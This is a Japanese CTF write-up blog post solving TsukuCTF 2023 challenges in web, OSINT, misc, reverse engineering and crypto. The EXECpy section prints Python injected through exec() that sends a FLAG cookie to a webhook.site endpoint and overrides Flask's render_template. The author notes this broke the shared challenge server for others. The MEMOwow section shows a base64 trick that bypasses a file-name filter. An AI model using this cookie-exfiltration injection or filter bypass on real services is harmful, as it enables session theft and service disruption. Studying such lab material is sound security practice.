チョコラスクのブログ

野生のコラッタです。

TsukuCTF 2023 writeup

TsukuCTF 2023 にチームぽんぽんぺいんで参加しました。

私は、OSINT以外を全部と、OSINTもたくさん解くことができました。

EXECpyで問題サーバーを破壊してしまうというアクシデントもありましたが楽しかったです。

[web] basic

保護されていない通信ではパスワードはまる見えダゾ!
e.g. パスワードが Passw0rd! の場合、フラグは TsukuCTF23{Passw0rd!} となります。

pcapファイル basic.pcapng が与えられます。

問題名からBasic認証の通信だと推測できます。実際、次のように認証情報のbase64を送信している箇所が見つかります。

YWRtaW46MjkyOWIwdTQ=base64デコードすると admin:2929b0u4 となるので、パスワードは 2929b0u4 とわかります。

フラグ:TsukuCTF23{2929b0u4}

[web] MEMOwow

素晴らしいメモアプリを作ったよ。
覚える情報量が増えているって???

メモの読み書き機能があるwebアプリケーションとそのソースコードが与えられます。メインのソースコード app.py は次のようになっていて、フラグは ./memo/flag にあります。

import base64
import secrets
import urllib.parse
from flask import Flask, render_template, request, session, redirect, url_for, abort

SECRET_KEY = secrets.token_bytes(32)

app = Flask(__name__)
app.secret_key = SECRET_KEY


@app.route("/", methods=["GET"])
def index():
    if not "memo" in session:
        session["memo"] = [b"Tsukushi"]
    return render_template("index.html")


@app.route("/write", methods=["GET"])
def write_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("write_get.html")


@app.route("/read", methods=["GET"])
def read_get():
    if not "memo" in session:
        return redirect(url_for("index"))
    return render_template("read_get.html")


@app.route("/write", methods=["POST"])
def write_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    memo = urllib.parse.unquote_to_bytes(request.get_data()[8:256])
    if len(memo) < 8:
        return abort(403, "これくらいの長さは記憶してください。👻")
    try:
        session["memo"].append(memo)
        if len(session["memo"]) > 5:
            session["memo"].pop(0)
        session.modified = True
        filename = base64.b64encode(memo).decode()
        with open(f"./memo/{filename}", "wb+") as f:
            f.write(memo)
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("write_post.html", id=filename)


@app.route("/read", methods=["POST"])
def read_post():
    if not "memo" in session:
        return redirect(url_for("index"))
    filename = urllib.parse.unquote_to_bytes(request.get_data()[7:]).replace(b"=", b"")
    filename = filename + b"=" * (-len(filename) % 4)
    if (
        (b"." in filename.lower())
        or (b"flag" in filename.lower())
        or (len(filename) < 8 * 1.33)
    ):
        return abort(403, "不正なメモIDです。👻")
    try:
        filename = base64.b64decode(filename)
        if filename not in session["memo"]:
            return abort(403, "メモが見つかりません。👻")
        filename = base64.b64encode(filename).decode()
        with open(f"./memo/{filename}", "rb") as f:
            memo = f.read()
    except:
        return abort(403, "エラーが発生しました。👻")
    return render_template("read_post.html", id=filename, memo=memo.decode())


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

read では、入力 filenamebase64デコードし、session に含まれていることを確認した後、base64エンコードしてから ./memo/{filename} を読むということをしています。また、入力は .flag を含んではならず、11文字以上という制約があります。

まず、/base64の文字なので、11文字以上という制約は ////////flag で回避できそうです。

次に flag を含めない制約について、base64デコードが変な挙動をするという問題を他のCTFで見たことがあったので、flag を含まないが、base64デコードしてエンコードし直すと ////////flag のようになるケースがありそうだと思いました。適当に探索すると、////////fla|g===////////flag などが見つかりました。これで回避できます。

import base64
for i in range(8, 12):
    for c in range(128):
        for c2 in range(128):
            try:
                s = b'/'*i + b'fla' + bytes([c,c2])
                s += b'=' * (-len(s) % 4)
                t = base64.b64encode(base64.b64decode(s))
                if t[-4:] == b'flag':
                    print(s, t)
            except:
                continue

最後に session の問題について、writebase64.b64decode("////////fla|g===") を書き込めば session に追加されそうです。flag ファイルの中身が書き変わってしまうのではと思っていたのですが、試してみると flag ファイルへの書き込みは権限がなくて失敗することがわかり、うまくいきました。

まとめると、writebase64.b64decode("////////fla|g===") を書き込んだあと、read////////fla|g=== を読むことでフラグが得られます。

フラグ:TsukuCTF23{b45364_50m371m35_3xh1b175_my573r10u5_b3h4v10r}

[web] EXECpy

問題と解法

RCEがめんどくさい?
データをexecに渡しといたからRCE2XSSしてね!

Pythonのコードを実行してくれるwebアプリケーション、クローラー、そのソースコードが与えられます。メインのアプリのソースコード app.py は次のようになっています。

from flask import Flask, render_template, request

app = Flask(__name__)


@app.route("/", methods=["GET"])
def index():
    code = request.args.get("code")
    if not code:
        return render_template("index.html")

    try:
        exec(code)
    except:
        pass

    return render_template("result.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31416)

任意のコードを実行してくれますが、実行させたコードによらず固定の result.html をレスポンスするように見えます。

クローラーソースコード capp.py は次のようになっています。

import os
import asyncio
from playwright.async_api import async_playwright
from flask import Flask, render_template, request

app = Flask(__name__)

DOMAIN = "nginx"
FLAG = os.environ.get("FLAG", "TsukuCTF23{**********REDACTED**********}")


@app.route("/crawler", methods=["GET"])
def index_get():
    return render_template("index_get.html")


async def crawl(url):
    async with async_playwright() as p:
        browser = await p.chromium.launch()
        page = await browser.new_page()

        try:
            response = await page.goto(url, timeout=5000)
            header = await response.header_value("Server")
            content = await page.content()

            if ("Tsukushi/2.94" in header) and ("🤪" not in content):
                await page.context.add_cookies(
                    [{"name": "FLAG", "value": FLAG, "domain": DOMAIN, "path": "/"}]
                )
                if url.startswith(f"http://{DOMAIN}/?code=") or url.startswith(
                    f"https://{DOMAIN}/?code="
                ):
                    await page.goto(url, timeout=5000)
        except:
            pass

        await browser.close()


@app.route("/crawler", methods=["POST"])
def index_post():
    asyncio.run(
        crawl(
            request.form.get("url").replace(
                "http://localhost:31416/", f"http://{DOMAIN}/", 1
            )
        )
    )
    return render_template("index_post.html")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31417)

クローラーhttp://nginx/?code= で始まるURLにアクセスし、レスポンスにヘッダー Server: Tsukushi/2.94 が含まれていて 🤪 を含まなければ、同じURLにフラグをCookieとして送信してくれるようです。

フラグを送信させることができれば、execCookieを自分のサーバー (https://webhook.siteを使いました) に送信するコードを食わせることでフラグを得られます。

メインのアプリに、ヘッダー Server: Tsukushi/2.94 を含んで 🤪 を含まないレスポンスを返させる必要がありそうです。index 関数の戻り値がレスポンスのようなので、これを書き換えたいですが、単に execreturn を食わせて戻り値を書き換えることはできないようです (Pythonのドキュメント)。

ここで、戻り値は render_template("result.html") となっているので、render_template 関数を書き換えて戻り値を変えられそうなことに気づきました。しかし、単に次のようなコードを食わせるだけでは書き換わりませんでした (グローバル関数と関数内関数は別物判定になるため?)。

def render_template(filename):
    from flask import make_response
    response = make_response("hacked!")
    response.headers['Server'] = "Tsukushi/2.94"
    return response

そこで global render_template をつけてみたところ、うまく書き換わりました。global render_template をつけると、render_template の変更がそのレスポンスだけに限らず永続化してしまい、たぶん他の人がアクセスしても hacked! が返るまずい状況になります (問題サーバーを壊してから気づきました...) が、直後に render_template を元に戻すコードを投げることでたぶん直せていそうでした。

flag = request.cookies.get('FLAG', None)
import urllib
if flag:
    get_req = urllib.request.Request(f"https://webhook.site/xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx/?flag={flag}")
    urllib.request.urlopen(get_req)
global render_template, render_template_orig
render_template_orig = render_template
def render_template(filename):
    from flask import make_response
    response = make_response("hacked!")
    response.headers['Server'] = "Tsukushi/2.94"
    return response

元に戻すコード

global render_template, render_template_orig
render_template = render_template_orig

フラグ:TsukuCTF23{175_4_73rr1bl3_4774ck_70_1n73rrup7_h77p}

問題サーバーを破壊した話

最初、global render_template をつけるのをローカルで試したところ、サーバーエラーが返ったり*1、思い通りのレスポンスは返るがフラグは降ってこなかったりという謎の挙動になりました。謎だったので問題サーバーでもガチャガチャ試していると、自宅のとも問題サーバーのとも違うIPアドレスからflag?が来ました。

え?、と思いながらも一応スコアサーバーに提出しました (カス) が当然通らず、問題サーバーを壊しているぞというSatokiさんからのメッセージだと気づきました。

バグった render_template に書き換えてサーバーエラーを起こすコードを20分間くらい投げ続けていた気がします。すみません...。

[osint] eruption

つくしくんは旅行に行ったときに噴火を見ました。噴火の瞬間を実際に見たのは初めてでしたが、見た日付を覚えていません。
つくしくんが噴火を見た日付を写真の撮影日から特定して教えてください。
撮影場所が日本なのでタイムゾーンはJSTです。フラグの形式は TsukuCTF23{YYYY/MM/DD} です。

Google Lensに投げると、とてもよく似た写真が載っているブログ記事が見つかりました。

この記事に書かれているイベントの開催日 2022年1月26日(水)~28日(金) を試すと正解でした。

フラグ:TsukuCTF23{2022/01/28}

[osint] TrainWindow

夏、騒音、車窓にて。

フラグのフォーマットは、TsukuCTF23{緯度_経度}です。
緯度経度は小数第五位を切り捨てとします。

Google Lensに投げると、奥に見える海辺の建物などが似ている写真の載ったブログ記事が見つかりました。

伊東線伊豆多賀付近のようなので、Googleマップで周辺を確認すると、写真に写っている「TTC」が見つかりました。

さらに、奥に見える海辺の建物は「エンゼルシーサイド南熱海」、目の前の建物は「カーサマリーナ上多賀」であることがわかり、解けました。

フラグ:TsukuCTF23{35.0640_139.0664}

[osint] Yuki

雪、無音、窓辺にて。

フラグのフォーマットは、TsukuCTF23{緯度_経度}です。
緯度経度は小数第四位を切り捨てとします(精度に注意)。

Google Lensに投げ、手前の椅子を含まないように調節すると、定山渓ビューホテル宿泊記が見つかりました。

この記事内のラウンジの写真に同じ形の椅子が見つかります。Googleマップで「カフェ サンリバー(定山渓ビューホテル内)」の座標が答えでした。

フラグ:TsukuCTF23{42.968_141.167}

[osint] free_rider

https://www.fnn.jp/articles/-/608001
私はこのユーチューバーが本当に許せません!
この動画を見たいので、元のYouTubeのURLを教えてください。
また、一番上の画像(「非難が殺到」を含む)の再生位置で指定してください。
フラグフォーマットは、TsukuCTF23{https://www.youtube.com/watch?v=**REDACTED**&t=**REDACTED**s}

「youtuber 新幹線無賃乗車」で検索すると他のニュース記事が見つかり、YouTuberの名前が「Fidias」であることがわかります。

Twitterで「Fidias shinkansen」と検索すると、元のYouTubeのURLが貼られたツイートが見つかりました。元の動画は削除されていました。

さらに、YouTubeで「フィディアス」と検索すると、再アップロードされた動画が見つかり、再生位置は2分56秒であることがわかりました。

フラグ:TsukuCTF23{https://www.youtube.com/watch?v=Dg_TKW3sS1U&t=176s}

[osint] river

弟のたくしから、「ボールが川で流されちゃった」と写真と共に、連絡がきた。
この場所はどこだ?
Flagフォーマットは TsukuCTF23{緯度_経度} です。
端数は少数第5位を切り捨てて小数点以下第4位の精度で回答してください。

「newgin専用駐車場」が見えます。ニューギンはパチンコのメーカーらしいです。直営店は1つしかないらしく、何の駐車場なんだろうと思いましたが、会社概要に載っている営業所を1つずつGoogleストリートビューで見ていくと、「鹿児島営業所」が当たりでした。

フラグ:TsukuCTF23{31.5757_130.5533}

[osint] broken display

表示が壊れているサイネージって、写真を撮りたくなりますよね!
正しく表示されているときに書かれている施設名を見つけて提出してください!
フラグ形式: TsukuCTF23{◯◯◯◯◯◯◯◯IYA_◯◯◯◯◯◯S}

ディスプレイにL'OCCITANEの文字が写っていることをチームメンバーが見つけていましたが、店舗リストにIYAで終わる建物名は無くて困りました。

後ろから4文字目はMに見えるなあと考えていると、建物名ではなく地名かもしれないこと、MIYAで終わる11文字の地名といえば西宮*2だということを思いつきました。

ロクシタンの店舗リストにある「西宮阪急」はSで終わらないですが、向かいの建物の看板が映っているなどもありうるかと思いGoogleマップで確認したところ、「阪急西宮ガーデンズ」が見つかりました。

フラグ:TsukuCTF23{NISHINOMIYA_GARDENS}

[osint] stickers

この画像が撮影された場所を教えてください!
Flagフォーマットは TsukuCTF23{緯度_経度} です。
ただし、小数点4桁の精度で答えてください。

黄色い車は熱海プリンのプリンカーであることをチームメンバーが見つけていました。

チームメンバーが見つけてくれたブログ記事を読むと、「熱海プリンカフェ2nd」の近くの駐車場にプリンカーがあったと書かれています。

この駐車場を探します。「珈琲SUN」が見えるので、「熱海 珈琲 sun」で検索すると「サンバード」という喫茶店とわかります。Googleストリートビューで周辺を探すと駐車場が見つかり、写真の場所もありました。

フラグ:TsukuCTF23{35.0966_139.0747}

[osint] flower_bed

花壇の先にQRコードのキューブがあるようですね。友人曰く、モニュメントの近くに配置されているものらしいです。
こちらのQRコードが示すURLを教えてください! リダイレクト前のURLでお願いします!

Flagの形式は TsukuCTF23{URL} です。例えば、https://sechack365.nict.go.jp がURLなら、 TsukuCTF23{https://sechack365.nict.go.jp} が答えになります。

QRコードの周りの英語を検索すると、「The Previous Fukuoka Prefectural Civic Hall and Honorary Guest House(旧福岡県公会堂貴賓館)Official Site」と書かれていそうなことがわかります。

旧福岡県公会堂貴賓館のサイトは https://www.fukuokaken-kihinkan.jp ですがこれは不正解でした。

チームメンバーが短縮URLを調べているのを見て、https://www.fukuokaken-kihinkan.jp にリダイレクトされそうなURLでより単純なものとして、www を消したものや、httpshttp に変えたものを試したところ、http が当たりでした。

フラグ:TsukuCTF23{http://www.fukuokaken-kihinkan.jp}

[osint] koi

画像フォルダを漁っていると、鯉のあらいを初めて食べた時の画像が出てきた。
当時のお店を再度訪ね、鯉の洗いを食べたいが電話番号が思い出せない。

誰か、私の代わりにお店を調べ、電話番号を教えてほしい。

記憶では、お店に行く途中で見かけたお皿が使われていた気がする。。。

Flagは電話番号となっており、ハイフンは不要である。
TsukuCTF23{電話番号}

使われている皿が福岡県東峰村の小石原焼であることをチームメンバーが見つけていました。

まず東峰村の飲食店を色々試しましたが全て外れでした。そこで範囲を広げて「鯉料理 福岡」で検索したところ、2ページ目くらいで同じ焼き物が使われている店を見つけました。これが正解でした。

フラグ:TsukuCTF23{0936176250}

[osint] twin

ハッカーは独自に収集した大量の個人情報を、とあるWebサイト上で2023年11月23日に投稿した。
我々はこの投稿IDがKL34A01mであるという情報を得た。ハッカーのGitHubアカウントを特定せよ。

View Hint
このWebサイトは28歳のオランダ人起業家によって2010年代初めに買収されている。

Webサイトはハッカーのフォーラムのようなものだと想像し、「28-year-old Dutch entrepreneur hacker」で検索すると、ニュース記事が見つかり、WebサイトはPastebinであることがわかりました。

Pastebinを見に行くと、同じユーザの他の投稿がありました。これはソースコードのようなので、同じソースコードGitHubにも上がっているのではと思い、GitHubでコードの一部を検索してみると、見つかりました。

フラグ:TsukuCTF23{gemini5612}

[misc] what_os

とある研究所から、昔にシェル操作を行った紙が送られてきた来たんだが、 なんのOSでシェルを操作しているか気になってな。 バージョンの情報などは必要ないから、OSの名前だけを教えてくれないか?

にしても、データとかではなく紙で送られて来たんだ。一体何年前のOSなんだ。。。

送られてきた紙をダウンロードして確認してほしい。

コマンドの実行履歴が書かれたテキストファイル tty.txt が与えられます。

次の部分に着目しました。

# chdir /
# chdir usr
# ls -al
total   10
 41 sdrwr-  9 root    100 Jan  1 00:00:00 .
 41 sdrwr-  9 root    100 Jan  1 00:00:00 ..
 42 sdrwr-  2 root     80 Jan  1 00:00:00 boot
 49 sdrwr-  2 root     60 Jan  1 00:00:00 fort
 54 sdrwr-  2 root     70 Jan  1 00:00:00 jack
 57 sdrwr-  5 ken     120 Jan  1 00:00:00 ken
 59 sdrwr-  2 root    110 Jan  1 00:00:00 lib
 83 sdrwr-  5 root     60 Jan  1 00:00:00 src
 68 sdrwr-  2 root    160 Jan  1 00:00:00 sys
208 sxrwrw  1 root     54 Jan  1 00:00:00 x
# chdir sys
# ls -al
total  325
 68 sdrwr-  2 root    160 Jan  1 00:00:00 .
 41 sdrwr-  9 root    100 Jan  1 00:00:00 ..
 70 sxrwr-  1 root   2192 Jan  1 00:00:00 a.out
 71 l-rwr-  1 root  16448 Jan  1 00:00:00 core
 72 s-rwr-  1 sys    1928 Jan  1 00:00:00 maki.s
 69 lxrwrw  1 root  12636 Jan  1 00:00:00 u0.s
 81 lxrwrw  1 root  18901 Jan  1 00:00:00 u1.s
 80 lxrwrw  1 root  19053 Jan  1 00:00:00 u2.s
 79 lxrwrw  1 root   7037 Jan  1 00:00:00 u3.s
 78 lxrwrw  1 root  13240 Jan  1 00:00:00 u4.s
 77 lxrwrw  1 root   9451 Jan  1 00:00:00 u5.s
 76 lxrwrw  1 root   9819 Jan  1 00:00:00 u6.s
 75 lxrwrw  1 root  16293 Jan  1 00:00:00 u7.s
 74 lxrwrw  1 root  17257 Jan  1 00:00:00 u8.s
 73 lxrwrw  1 root  10784 Jan  1 00:00:00 u9.s
 82 sxrwrw  1 root   1422 Jan  1 00:00:00 ux.s

/usr/sys/maki.s が気になったので、これで検索してみると、GitHubリポジトリにたどり着きました。1st Edition UNIX らしいです。

フラグ:TsukuCTF23{UNIX}

[misc] build_error

怪盗シンボルより、以下の謎とき挑戦状が届いた。

怪盗シンボルだ!

メールに3つのファイルを添付した。
この3つのファイルを同じディレクトリに置き、makeとシェルに入力し実行するとビルドが走るようになっている。

ビルドを行い、標準出力からフラグを入手するのだ!

追記:ソースコードは秘密
怪盗シンボルはせっかちなので、ビルドできるかチェックしているか不安だ。。。 取りあえずチャレンジしてみよう。

FlagフォーマットはTsukuCTF23{n桁の整数}になります。

Makefile, main.o, one.o という3つのファイルが与えられます。

make してみてもエラーになります。main.oone.o はx64のELFバイナリなので、Ghidraでデコンパイルしてみると次のようになります。

undefined8 main(void)

{
  int local_34;
  long local_30;
  long local_28;
  long local_20;
  
  local_30 = 0xc;
  local_28 = 0xb;
  local_20 = 0x4b;
  one_init();
  for (local_34 = 0; local_34 < local_28; local_34 = local_34 + 1) {
    if (local_34 < local_30) {
      local_20 = local_20 + 1;
    }
    if (local_20 < local_34) {
      local_28 = local_28 + 1;
    }
    local_30 = local_30 + 1;
  }
  local_20 = local_20 + local_30 + local_28;
  if (local_20 == c + a + b) {
    printf("flag is %ld\n",local_20);
  }
  else {
    puts("please retry");
  }
  return 0;
}
void one_init(void)

{
  int local_c;
  
  a = 0xc;
  b = 0xb;
  c = 0x4b;
  for (local_c = 0; (ulong)(long)local_c < b; local_c = local_c + 1) {
    if ((ulong)(long)local_c < a) {
      c = c + 1;
    }
    if (c < (ulong)(long)local_c) {
      b = b + 1;
    }
    a = a + 1;
  }
  return;
}

a + b + c がフラグのようです。次のようにPythonで書き直してフラグを求めました。

a = 0xc
b = 0xb
c = 0x4b
for i in range(b):
    if i<a:
        c+=1
    if c<i:
        b+=1
    a+=1
print(a+b+c)

フラグ:TsukuCTF23{120}

[misc] content_sign

どうやら、この画像には署名技術を使っているらしい。この署名技術は、画像に対しての編集を記録することができるらしい。署名技術を特定し、改変前の画像を復元してほしい。 Flag形式はTsukuCTF23{<一個前に署名した人の名前>&<署名した時刻(ISO8601拡張形式)>}です。例えば、一個前に署名した人の名前は「Tsuku」で、署名した時刻が2023/12/09 12:34:56(GMT+0)の場合、フラグはTsukuCTF23{Tsuku&2023-12-09T12:34:45+00:00}です。なお、タイムゾーンはGMT+0を使用してください。

画像ファイル signed_flag.png が与えられます。

binwalkコマンドを試すと証明書のファイルがたくさん見つかったので、opensslコマンドで中身を見てみましたがよくわかりませんでした。

次にstringsコマンドを試しました。

...
stds.schema-org.CreativeWork
xjson{"@context":"https://schema.org","@type":"CreativeWork","author":[{"@type":"Person","name":"TSUKU4_IS_H@CKER"}]}
c2pa.actions
factionkc2pa.openedhmetadata
mreviewRatings
kexplanationy
dcodelc2pa.unknownevalue
my.assertion
TsukuTsukuTsukuTsukuTsukuTsuku
c2pa.hash.data
jexclusions
3dnamenjumbf manifestcalgfsha256dhashX C
c2pa.claim
hdc:titlemTsukuctf_20XXidc:formatiimage/pngjinstanceIDx,xmp:iid:e18e08ca-8259-4226-988e-7ed2f58e1010oclaim_generatorx'CanUseeMe c2patool/0.7.0 c2pa-rs/0.28.3tclaim_generator_info
isignaturex
self#jumbf=c2pa.signaturejassertions
curlx3self#jumbf=c2pa.assertions/c2pa.thumbnail.claim.pngdhashX k
curlx7self#jumbf=c2pa.assertions/stds.schema-org.CreativeWorkdhashX 
curlx'self#jumbf=c2pa.assertions/c2pa.actionsdhashX q
curlx'self#jumbf=c2pa.assertions/my.assertiondhashX 
curlx)self#jumbf=c2pa.assertions/c2pa.hash.datadhashX ]
'calgfsha256
c2pa.signature
itstTokens
20231208130026Z
DigiCert, Inc.1;09
...
stds.schema-org.CreativeWork
pjson{"@context":"https://schema.org","@type":"CreativeWork","author":[{"@type":"Person","name":"tarutaru"}]}
c2pa.actions
factionkc2pa.openedhmetadata
mreviewRatings
kexplanationx?TsukuCTFake23{https://youtu.be/48rz8udZBmQ?si=ljjZsu8XFI8OLWg3}dcodelc2pa.unknownevalue
my.assertion
gany_tagcaaa
c2pa.hash.data
jexclusions
I~dnamenjumbf manifestcalgfsha256dhashX g
c2pa.claim
hdc:titlemTsukuctf_20XXidc:formatiimage/pngjinstanceIDx,xmp:iid:18b17123-cbc9-4328-8aca-b78ea47b3a40oclaim_generatorx'CanUseeMe c2patool/0.7.0 c2pa-rs/0.28.3tclaim_generator_info
isignaturex
self#jumbf=c2pa.signaturejassertions
curlx4self#jumbf=c2pa.assertions/c2pa.thumbnail.claim.jpegdhashX 
curlx*self#jumbf=c2pa.assertions/c2pa.ingredientdhashX #
curlx7self#jumbf=c2pa.assertions/stds.schema-org.CreativeWorkdhashX 
curlx'self#jumbf=c2pa.assertions/c2pa.actionsdhashX 
curlx'self#jumbf=c2pa.assertions/my.assertiondhashX 
curlx)self#jumbf=c2pa.assertions/c2pa.hash.datadhashX 
Th]calgfsha256
c2pa.signature
itstTokens
20231208130125Z
DigiCert, Inc.1;09
...

TSUKU4_IS_H@CKER という名前の人が時刻 20231208130026Z に、tarutaru という名前の人が時刻 20231208130125Z に署名したとエスパーできました。

フラグ:TsukuCTF23{TSUKU4_IS_H@CKER&2023-12-08T13:00:26+00:00}

[rev] title_screen

父は昔プログラマーだったらしい、
しかし、当時開発したソフトのタイトルが思い出せない。
ソフトを起動すると画面にタイトルが表示されるらしいのだが...
残っている開発データからなんとか導き出そう!

※実行結果として予想される表示文字列(記号含む)をフラグとして解答してください。

View Hint
キャラクターは8x8ピクセルを1ブロックとして並べられます。データはMapper0想定でCHR-ROMは8KBです。

character.bmp, main.asm, main.cfg という3つのファイルが与えられます。character.bmp は次のような画像で、main.asmアセンブリのコードです。

問題文にあるキーワード「Mapper0 CHR-ROM アセンブリ」で検索すると、似たアセンブリのコードを含む次の記事が見つかります。M1 Macで作る、ファミコンソフトプログラミング。 アセンブラでハローワールド編

これを見ると、62行目の $07 → 画像の0行7列を読んで H、73行目の $04 → 画像の0行4列を読んで E、という風に表示される文字が決まっていることが推測できます。

そこで、main.asm の次の部分

data:
    .byte   $22, $a4, $39, $26, $39
    .byte   $a4, $55, $79, $bb, $4c
    .byte   $39, $c7, $a4, $d1, $8c

に着目し、character.bmp で2行2列、a行4列、3行9列、... を順に読んでみると Tsukushi_Quest となって、これが答えでした。最後の8行c列は読めない文字ですが、main.asm 内に14という数値が見つかるので、表示文字列の長さは14と推測できました。

フラグ:TsukuCTF23{Tsukushi_Quest}

[crypto] new_cipher_scheme

次のソースコードとその実行結果が与えられます。

from Crypto.Util.number import *
from flag import flag


def magic2(a):
    sum = 0
    for i in range(a):
        sum += i * 2 + 1
    return sum


def magic(p, q, r):
    x = p + q
    for i in range(3):
        x = magic2(x)
    return x % r


m = bytes_to_long(flag.encode())
p = getPrime(512)
q = getPrime(512)
r = getPrime(1024)
n = p * q
e = 65537
c = pow(m, e, n)
s = magic(p, q, r)
print("r:", r)
print("n:", n)
print("e:", e)
print("c:", c)
print("s:", s)

RSA暗号ですが、s = magic(p, q, r) の値が追加で与えられています。

magic2(a) の戻り値は \sum_{i=0}^{a-1}(2i+1)=a^{2} です。よって、s=(p+q)^{8}\bmod{r} です。

p, q は512bit、r は1024bitなので、p+q\lt r です。よって\bmod{r}x^{8}=s を解けば p+q がわかります。さらに p, qx^{2}-(p+q)x+n=0 の解なので、この2次方程式を解くことで p, q が求まり、復号できます。

from output import *
from Crypto.Util.number import *

PR.<x> = PolynomialRing(GF(r))
f = x^8-s
rs = f.roots()
t = int(rs[-1][0])

PR.<x> = PolynomialRing(ZZ)
f = x^2-t*x+n
rs = f.roots()
p = int(rs[0][0])
q = int(rs[1][0])
d = inverse(int(e), int((p-1)*(q-1)))
print(long_to_bytes(pow(int(c), int(d), int(n))))

フラグ:TsukuCTF23{Welcome_to_crypto!}

*1:単にコードがバグっていたせいでした。フラグ送信用の urllib.request と flask.request が被ってなかなか気づけず。

*2:あいみょんの出身地ということでパッと思いついたのですが、実際にあいみょんがこのディスプレイに映っていたのを見つけている人がいてびっくりしました。https://x.com/myaumyau33/status/1733779562939797960?s=20